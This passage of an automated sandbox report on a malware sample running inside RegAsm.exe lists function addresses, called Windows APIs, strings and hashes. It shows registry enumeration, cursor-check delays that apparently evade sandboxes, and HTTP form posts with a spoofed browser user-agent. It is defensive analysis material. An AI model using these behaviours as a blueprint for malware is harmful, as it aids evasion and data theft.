Part of subcall function 0053E13A: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,-0000857D,?,00431295,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E17F

__aulldiv.LIBCMT ref: 00442A17
RegEnumKeyExA.KERNEL32(?,00000000,?,00000104,00000000,00000000,00000000,00000000,00000000,uia), ref: 00442C40
RegOpenKeyExA.KERNEL32(80000001,?,00000000,?,?), ref: 00442AC9

Part of subcall function 0053E0E9: AcquireSRWLockExclusive.KERNEL32(0058E970,-0000857D,?,004312C2,00590F6C), ref: 0053E0F3
Part of subcall function 0053E0E9: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,004312C2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E126
Part of subcall function 0053E0E9: WakeAllConditionVariable.KERNEL32(0058E96C,?,004312C2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E131

Strings

jfl4lrk, xrefs: 004428C9, 00442904, 00442BA1, 00442BDC, 0044318A, 004431C5, 004433C8, 00443403
uia, xrefs: 00442834, 00442B0C, 004430A8, 004430E3, 004432E6, 00443321

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease$ConditionEnumOpenVariableWake__aulldiv
String ID: jfl4lrk$uia
API String ID: 2427947366-2838231973
Opcode ID: a6caf58ffa93e613db78ba843d6dcc480b5594750ff8e15e193f0068b394b784
Instruction ID: 4f9f3586fd0d9695b3c1975d66da874abf84b9bb25b15f05e5ee622add3517ae
Opcode Fuzzy Hash: a6caf58ffa93e613db78ba843d6dcc480b5594750ff8e15e193f0068b394b784
Instruction Fuzzy Hash: 95822170D042689FEB24DFA4C895BEEBBB1BF49304F1081DAE409A7281DB746E85CF55

Function 00432CC0 Relevance: 9.3, APIs: 6, Instructions: 343
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCursorPos.USER32(?), ref: 00432CD3
GetCursorPos.USER32(?), ref: 00432CEA
Sleep.KERNEL32(?), ref: 00432EA0
GetCursorPos.USER32(?), ref: 00432EAA
__aulldiv.LIBCMT ref: 00432F8D
Sleep.KERNEL32(?), ref: 00433175

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Cursor$Sleep$__aulldiv
String ID:
API String ID: 1481957275-0
Opcode ID: b27eb58ad0ac9f09ead9de2a4c7181aea4bb7b4c9404d22db733876c294cc86f
Instruction ID: e41b45f76c523e62464870a941e8d56862867b40527f6ce60be2fc87cf23558b
Opcode Fuzzy Hash: b27eb58ad0ac9f09ead9de2a4c7181aea4bb7b4c9404d22db733876c294cc86f
Instruction Fuzzy Hash: B3F1C575E04218DFDB14CF98C991BAEBBB2FF88304F14819AE819A7345D734AA81CF55

Function 0050BC70 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 135
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(00000000,00000000,84395,?), ref: 0050BDD0
GetProcessHeap.KERNEL32(00000008,-00000001,00000000,84395,?), ref: 0050BDF3
HeapAlloc.KERNEL32(00000000), ref: 0050BDFA
lstrcpynA.KERNEL32(00000000,00000000,00000000), ref: 0050BE0F

Strings

84395, xrefs: 0050BCD9, 0050BD08
43534, xrefs: 0050BD82, 0050BDB1

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocProcesslstrcpynlstrlen
String ID: 43534$84395
API String ID: 2211197272-1325869514
Opcode ID: b09d6a4d9cca829fe253998b30a89ed130a2a47723f085905c9405f87b44ed1e
Instruction ID: b29e0338f651ef0bcced9339ef48096b7a9a579510553391c4e685f657836ffd
Opcode Fuzzy Hash: b09d6a4d9cca829fe253998b30a89ed130a2a47723f085905c9405f87b44ed1e
Instruction Fuzzy Hash: FF510FB1D04248AFEF14DFE8D899BEEBFB1BF48304F108459E411AB281D7755A85CBA4

Function 0050B990 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 218networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0050B670: InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000,?,?), ref: 0050B6C4

InternetOpenUrlA.WININET(00000000,00000002,00000000,00000000,80000000,00000000), ref: 0050BAA3
InternetCloseHandle.WININET(00000000), ref: 0050BC37

Strings

q, xrefs: 0050BB69
d, xrefs: 0050BB65

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$Open$CloseHandle
String ID: d$q
API String ID: 3289985339-1718950626
Opcode ID: 0504d8490041e9456813ea5f0c60d7e6c340201cb7480dcb9b80c89311f6443b
Instruction ID: 592b207bf6c6d7832529fd79c351f1ab977f9f1679bdbfd0e356664c9b446663
Opcode Fuzzy Hash: 0504d8490041e9456813ea5f0c60d7e6c340201cb7480dcb9b80c89311f6443b
Instruction Fuzzy Hash: 34A1E0B0E00209DFEB04DF94C895BEEBBB5BF48304F248559E905AB285D774AA45CFA0

Function 00426DA0 Relevance: 8.9, APIs: 2, Strings: 2, Instructions: 1923libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 004242C0: __aulldiv.LIBCMT ref: 00424656

LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00428BBA
LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00428D5F

Strings

), xrefs: 00427045
z, xrefs: 00427041

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad$__aulldiv
String ID: )$z
API String ID: 898380398-2313543161
Opcode ID: 8ad10a74659ece263c86c58a350d915efb43bca79a1e724604858af2d7ed81fa
Instruction ID: e3c5ca4ceb16c87a0f3402d06f470961aec5fbc04a7a78835dce129cbd6ef2c8
Opcode Fuzzy Hash: 8ad10a74659ece263c86c58a350d915efb43bca79a1e724604858af2d7ed81fa
Instruction Fuzzy Hash: 36231670E05268CFCB25CB68DC90BEEBBB1BF4A308F1481DAD449AB342D6355A85DF54

Function 0042C200 Relevance: 7.8, APIs: 5, Instructions: 265COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000001), ref: 0042C252
GetLastError.KERNEL32 ref: 0042C262
__aulldiv.LIBCMT ref: 0042C2C2
__aulldiv.LIBCMT ref: 0042C39F
__aulldiv.LIBCMT ref: 0042C4C5

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$AttributesErrorFileLast
String ID:
API String ID: 3597693367-0
Opcode ID: df89a1bfc525d762a845043cb47fd2e8a4d92e4daf11af3c938a66f3f87e4d0b
Instruction ID: 5aa9e26682c8d2a8f7aec280f79117708e1333a2d8d2acb6ad65c12c4a4bafb7
Opcode Fuzzy Hash: df89a1bfc525d762a845043cb47fd2e8a4d92e4daf11af3c938a66f3f87e4d0b
Instruction Fuzzy Hash: 3AA15471E00228AFEB14CFA4DC85B9EBBB5BB88310F55816AF508B7381DA386D41CF55

Function 004346A0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 170COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0043473D
__aulldiv.LIBCMT ref: 004347F7

Strings

Content-Type: application/x-www-form-urlencoded, xrefs: 00434824, 00434858

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: Content-Type: application/x-www-form-urlencoded
API String ID: 3732870572-2811858139
Opcode ID: de7ca7884cfd7050f5c1f1c461d3400ab2caa9224304b3429eca855bca08988a
Instruction ID: 1b6009c44dcfe7a615e736cb960b9da4ab3474c7e07688e2e7171746716af665
Opcode Fuzzy Hash: de7ca7884cfd7050f5c1f1c461d3400ab2caa9224304b3429eca855bca08988a
Instruction Fuzzy Hash: 21614DB1E00208ABDB14DFA9DC55BEEBBB5FF88300F508129E409BB381DB786945CB55

Function 0051BB60 Relevance: 4.6, APIs: 3, Instructions: 140COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 0051BBEE
GetLastError.KERNEL32 ref: 0051BC2F
SetLastError.KERNEL32(?,?,00000000,00000001,00000028,?,00000000,00000001,00000008), ref: 0051BCD4

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$HandleModule
String ID:
API String ID: 1090667551-0
Opcode ID: ab7339f71b8fd24bb1daaef78b96bdccfb41147339b43e99d32d35df6a0c16a1
Instruction ID: fd0e790f363f1da0a25606ad0bcec260a154ced4dbd8002c1ee7b406558d1df5
Opcode Fuzzy Hash: ab7339f71b8fd24bb1daaef78b96bdccfb41147339b43e99d32d35df6a0c16a1
Instruction Fuzzy Hash: 6351B0B5E082886BEF04DBF99C55AEEBFF56F5C200F0484ADF555E3282E63446048B61

Function 0051BE00 Relevance: 3.2, APIs: 2, Instructions: 150COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(000005B6), ref: 0051BEAF
GetModuleHandleA.KERNEL32(00000000), ref: 0051BF8E

Part of subcall function 0053E13A: AcquireSRWLockExclusive.KERNEL32(0058E970,?,-0000857D,?,00431295,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E145
Part of subcall function 0053E13A: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,-0000857D,?,00431295,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E17F

Part of subcall function 0051BB60: GetModuleHandleA.KERNEL32(00000000), ref: 0051BBEE
Part of subcall function 0051BB60: GetLastError.KERNEL32 ref: 0051BC2F

Part of subcall function 0053E0E9: AcquireSRWLockExclusive.KERNEL32(0058E970,-0000857D,?,004312C2,00590F6C), ref: 0053E0F3
Part of subcall function 0053E0E9: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,004312C2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E126
Part of subcall function 0053E0E9: WakeAllConditionVariable.KERNEL32(0058E96C,?,004312C2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E131

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireErrorHandleLastModuleRelease$ConditionVariableWake
String ID:
API String ID: 1192564941-0
Opcode ID: 734ee933a6be1ccc67dc21f0d0020db40d843114cf2d9189f81d41914cf53e7f
Instruction ID: ede0d664f718ff392d9df3f642cd6589d71c5cfe90ad661e3730590b8f212511
Opcode Fuzzy Hash: 734ee933a6be1ccc67dc21f0d0020db40d843114cf2d9189f81d41914cf53e7f
Instruction Fuzzy Hash: 1451DFB1D04249AFDF14DBE89856AEEBFF5BB98300F044269F555A3282EA345A04CB61

Function 0053DDFE Relevance: 1.7, APIs: 1, Instructions: 185COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0053E439

Part of subcall function 00540961: RaiseException.KERNEL32(E06D7363,00000001,00000003,"S,?,?,?,?,0053E422,?,00588EB8), ref: 005409C1

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExceptionFeaturePresentProcessorRaise
String ID:
API String ID: 1477838251-0
Opcode ID: 51897c9a5356d32d9d3d3c2cc062b92d804af0971fe515540fc225f864a3c0cd
Instruction ID: 4f620e35eafdd0fa698e7b202ab9a439a32937a45d086f0e90a46df9a66e6399
Opcode Fuzzy Hash: 51897c9a5356d32d9d3d3c2cc062b92d804af0971fe515540fc225f864a3c0cd
Instruction Fuzzy Hash: F761A471901219DBEB14CFA4EC867AEBFF4FB58314F24842AD805EB291E370D949DB60

Function 0050B670 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 255
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000,?,?), ref: 0050B6C4
InternetConnectA.WININET(00000000,00005216,00000050,00000000,00000000,00000003,00000000,00000000,?,?), ref: 0050B70F
HttpOpenRequestA.WININET(00000000,?,00000000,00000000,00000000,00000000,?,00000000,?,?), ref: 0050B7E8

Strings

S^Z_, xrefs: 0050B78A

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: InternetOpen$ConnectHttpRequest
String ID: S^Z_
API String ID: 3864186401-626951505
Opcode ID: 338f9d5c01fe516b00b351ea5e65c0f404d4ac8f55fca67bce1eaa0fbacc8be3
Instruction ID: b157f246e8358f98473785b6de89577bed2760da3af5952c431d98b51c37d05c
Opcode Fuzzy Hash: 338f9d5c01fe516b00b351ea5e65c0f404d4ac8f55fca67bce1eaa0fbacc8be3
Instruction Fuzzy Hash: 37B1E7B4E00208EBEB14CF94CC95BEEBBB5FB48700F108159E615BB281D7756A45CF54

Function 00557332 Relevance: 9.3, APIs: 6, Instructions: 292
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e1eefdcd6b988643dc50133a21d145d6d256a67e92ec7c181cb5fdcd3068a39
Instruction ID: f7415ba4d39169eb0f29e106d678fbd6e4f9085c633b670add1f4d2b08ef4838
Opcode Fuzzy Hash: 4e1eefdcd6b988643dc50133a21d145d6d256a67e92ec7c181cb5fdcd3068a39
Instruction Fuzzy Hash: A5B12574A08249AFDF11DF98E8A5BAD7FB0BF59305F24019AEC019B292D7709949CF60

Function 004326F0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 00432410: __aulldiv.LIBCMT ref: 004324CC

Part of subcall function 00416D40: std::ios_base::clear.LIBCPMTD ref: 00416E67

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 004327A6

Part of subcall function 004141F0: std::ios_base::clear.LIBCPMTD ref: 00414372

Part of subcall function 00414120: std::ios_base::clear.LIBCPMTD ref: 0041417E

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00432891
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 004328C2

Strings

`@, xrefs: 0043279C, 00432887, 004328B8
`XA, xrefs: 00432793, 0043287E, 004328AF

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_std::ios_base::clear$__aulldiv
String ID: `XA$`@
API String ID: 3845869555-3161672447
Opcode ID: 3f671178e629258942929453b502b7ae54db60bec5cc8895df37f6e0820c9e84
Instruction ID: 0e7dbd1ac7f4108b04c878422bb0a07de79bec68a3d468e8b80b9b30cf24f39f
Opcode Fuzzy Hash: 3f671178e629258942929453b502b7ae54db60bec5cc8895df37f6e0820c9e84
Instruction Fuzzy Hash: 325124B0E042588BDF08EFA4DA917FEBFB2AF45300F1041AAD5056B381D7B95E80CB94

Function 00432410 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 206COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 004324CC

Strings

jfl4lrk, xrefs: 004325C1, 004325F0
uia, xrefs: 00432503, 00432532
[)9, xrefs: 0043263E

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: [)9$jfl4lrk$uia
API String ID: 3732870572-3187379130
Opcode ID: 02f72aa9911fb9e40fa930fe5a12e9e51b965f704284eea2c46baeddce475746
Instruction ID: 62b67016de2f8e76127874a6f5fac313faf088ae7d66f8622afc3bb0c560564a
Opcode Fuzzy Hash: 02f72aa9911fb9e40fa930fe5a12e9e51b965f704284eea2c46baeddce475746
Instruction Fuzzy Hash: 4AA1D2B0D04258AFDB14DFA9C991BEEBBB1BF48304F1081AAD409AB341DB785A85CF55

Function 0041A590 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 136COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCPMTD ref: 0041A637

Strings

HHA, xrefs: 0041A5A6
HHA, xrefs: 0041A627, 0041A62F, 0041A62A, 0041A632

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: _memcpy_s
String ID: HHA$HHA
API String ID: 2001391462-78794114
Opcode ID: 254a03872fd4c8a7cd56f13672ba5d69deb35a6873e71f634a2fa9d91135e336
Instruction ID: 7b32763fd7bde926c42a7f76fda164b0b836e5f7ba4b56a83b80597eccc9e263
Opcode Fuzzy Hash: 254a03872fd4c8a7cd56f13672ba5d69deb35a6873e71f634a2fa9d91135e336
Instruction Fuzzy Hash: C6514AF5D01209ABDF04DF94D845AEF77B5BB48304F14842AE81997341E738EAA1CB67

Function 0050BE50 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 129COMMON

Download Yara Rule

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36, xrefs: 0050BF88

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
API String ID: 0-1672990099
Opcode ID: 39e5a259b2d246c21bf1a1dd9fd541613862ec31576967b88b42a3e1ebdaf995
Instruction ID: e133ea71fd40f3faece0e66e3fbd7d8e008066ac1a46383229dd0d46c80bf3af
Opcode Fuzzy Hash: 39e5a259b2d246c21bf1a1dd9fd541613862ec31576967b88b42a3e1ebdaf995
Instruction Fuzzy Hash: 0451D2B5D00209ABDB08CFD9D995BEEBBF9BF88300F108119E505A7394D7346A45CF90

Function 00416D40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 96COMMON

Download Yara Rule

APIs

std::ios_base::clear.LIBCPMTD ref: 00416E67

Strings

`XA, xrefs: 00416D73
WA, xrefs: 00416DEB

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: std::ios_base::clear
String ID: WA$`XA
API String ID: 1443086396-855112263
Opcode ID: 87762820ae8978ad05e2f73bac3d498fdb726493e16dd55bb69849889473b683
Instruction ID: bfac6a0fac6a6ea4b2e39d86bc440937714fda88544c349c66b50e6cbf0834e6
Opcode Fuzzy Hash: 87762820ae8978ad05e2f73bac3d498fdb726493e16dd55bb69849889473b683
Instruction Fuzzy Hash: 0D41C774A04209EFDB04DF99C891BAEBBB1FF48304F118199E515AB391C775AE81CF94

Function 0041F8A0 Relevance: 4.5, APIs: 3, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000001), ref: 0041F8D4
_com_issue_error.COMSUPP ref: 0041F8F2
_com_issue_error.COMSUPP ref: 0041F91B

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: _com_issue_error$AllocString
String ID:
API String ID: 245909816-0
Opcode ID: 1e46fff89452cf04ce2a2950a0ffa7ee9a0bef197222dd2c68f7e1bc454bc607
Instruction ID: 22ab2a249056664580783dabec8a57620171287ecea5815de7ed881510cca1a8
Opcode Fuzzy Hash: 1e46fff89452cf04ce2a2950a0ffa7ee9a0bef197222dd2c68f7e1bc454bc607
Instruction Fuzzy Hash: 8211D7B4D0020CEFDB00EF94C549B9DBBB5EF44304F2081A9E9056B351D7B9AE85DB95

Function 0054F3FE Relevance: 4.5, APIs: 3, Instructions: 15COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,0054F3F8,00000000,0054ACCA,?,?,41EA87FE,0054ACCA,?), ref: 0054F40F
TerminateProcess.KERNEL32(00000000,?,0054F3F8,00000000,0054ACCA,?,?,41EA87FE,0054ACCA,?), ref: 0054F416
ExitProcess.KERNEL32 ref: 0054F428

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 9e78dbbd2fb4bca78452b5b966021151efd374b181a3b1eadfc29377a94dc8f9
Instruction ID: f4157e51de5d2448d2dd2635dd7b1fc3333be8f9ba14ed496a5f5146bf1b5f1a
Opcode Fuzzy Hash: 9e78dbbd2fb4bca78452b5b966021151efd374b181a3b1eadfc29377a94dc8f9
Instruction Fuzzy Hash: AAD06731400109BBDF113F69DC0D99B3F29BA50365B448020F91996122EF729996EB90

Function 004BA1A0 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 374COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 004BA1CE

Strings

t, xrefs: 004BA3DB

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: FolderPath
String ID: t
API String ID: 1514166925-2238339752
Opcode ID: e1cd9d82be70686e7eab17ecafd6250656fa033b255f5c38c2ad524da37593bf
Instruction ID: ac79b72d553e616e8d125800d8229cdfee21e6ef5127bcb5b8ed172a7fb0609e
Opcode Fuzzy Hash: e1cd9d82be70686e7eab17ecafd6250656fa033b255f5c38c2ad524da37593bf
Instruction Fuzzy Hash: 79022670D052589FCB18CFA8C891BEEBBB1BF49308F14819AD449AB342DB356A85CF55

Function 0042C540 Relevance: 3.2, APIs: 2, Instructions: 228COMMON

Download Yara Rule

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 0042C665
CreateDirectoryA.KERNEL32(00000000,00000000,00000000,0000000A,00000000), ref: 0042C7D8

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$CreateDirectory
String ID:
API String ID: 1884557851-0
Opcode ID: ede0d5e5ad791a5171f43fd511d5f9bdb0c91e05b63f879cbb6efdb91d02b522
Instruction ID: 6aaafeb9e4f2adc4dedcfa77685528ffee2b36ad52bc15b14c1fec7e74c5924b
Opcode Fuzzy Hash: ede0d5e5ad791a5171f43fd511d5f9bdb0c91e05b63f879cbb6efdb91d02b522
Instruction Fuzzy Hash: 24A126B1E002189FDB14CFA9D891BEEBBB5BF88304F1481AAE409B7341DB746A45CF55

Function 005581AB Relevance: 3.2, APIs: 2, Instructions: 196fileCOMMON

Download Yara Rule

APIs

Part of subcall function 005578C1: GetConsoleOutputCP.KERNEL32(41EA87FE,00000000,00000000,00000000), ref: 00557924

WriteFile.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,0000000C,?,00000000,00588A50,00000014,0054EE24,00000000,00000000,00000000), ref: 00558330
GetLastError.KERNEL32(?,00000000), ref: 0055833A

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 93fb4403363359f6b7e5581cd26bd50e14db84a2fa6c457b04d38745cbba1a44
Instruction ID: 29495e38ccf8f58070cf40bbd90bca399c4d1fab18ce61e97d4a7b3070d07d69
Opcode Fuzzy Hash: 93fb4403363359f6b7e5581cd26bd50e14db84a2fa6c457b04d38745cbba1a44
Instruction Fuzzy Hash: 12618C7590411AAADF11DFA8CC94AFEBFB9BF49305F15058AED00B7212DB31D909DBA0

Function 00413370 Relevance: 3.2, APIs: 2, Instructions: 151COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 004134A2
__fread_nolock.LIBCMT ref: 004134F2

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 70248f907eb88ddf9767947bb14b1cfedb7892fd4002984009008b4d834e306d
Instruction ID: f6bd126ae3e79d83a7315811edd812a80647ac374441e9b91a78bc0c1492488b
Opcode Fuzzy Hash: 70248f907eb88ddf9767947bb14b1cfedb7892fd4002984009008b4d834e306d
Instruction Fuzzy Hash: 81617475A00109EFCB04CF98C594AEEBBB2FF88305F20819AE915A7355D735AE81DF54

Function 00557821 Relevance: 3.1, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32(00000000,00000000,?,?,00557708,00000000,?,00588A30,0000000C,005577C4,-T,?), ref: 00557877
GetLastError.KERNEL32(?,00557708,00000000,?,00588A30,0000000C,005577C4,-T,?), ref: 00557881

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification
String ID:
API String ID: 1687624791-0
Opcode ID: 26fa0fa7ec2ab76ab11a0b7f9f927141b622cce5571aa602e23bfcde8f72db97
Instruction ID: a26eac41a902a08270c866188202303f29bf9b513643b6aff282434f203ecc62
Opcode Fuzzy Hash: 26fa0fa7ec2ab76ab11a0b7f9f927141b622cce5571aa602e23bfcde8f72db97
Instruction Fuzzy Hash: F01159335081195AD61112387CAD77D6F59BB99732F28021FEC18971C2EA64C88CC290

Function 0054AB61 Relevance: 3.1, APIs: 2, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,?,?,0054AB23,?,?,?,?,?), ref: 0054AB9D
GetLastError.KERNEL32(?,?,0054AB23,?,?,?,?,?,00588670,00000018,0054ACF4,?,?,?,?,?), ref: 0054ABAA

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 23e9664b3fb7366f39bb714dfc55e827943dd4001eb63e988844420fa94a86d9
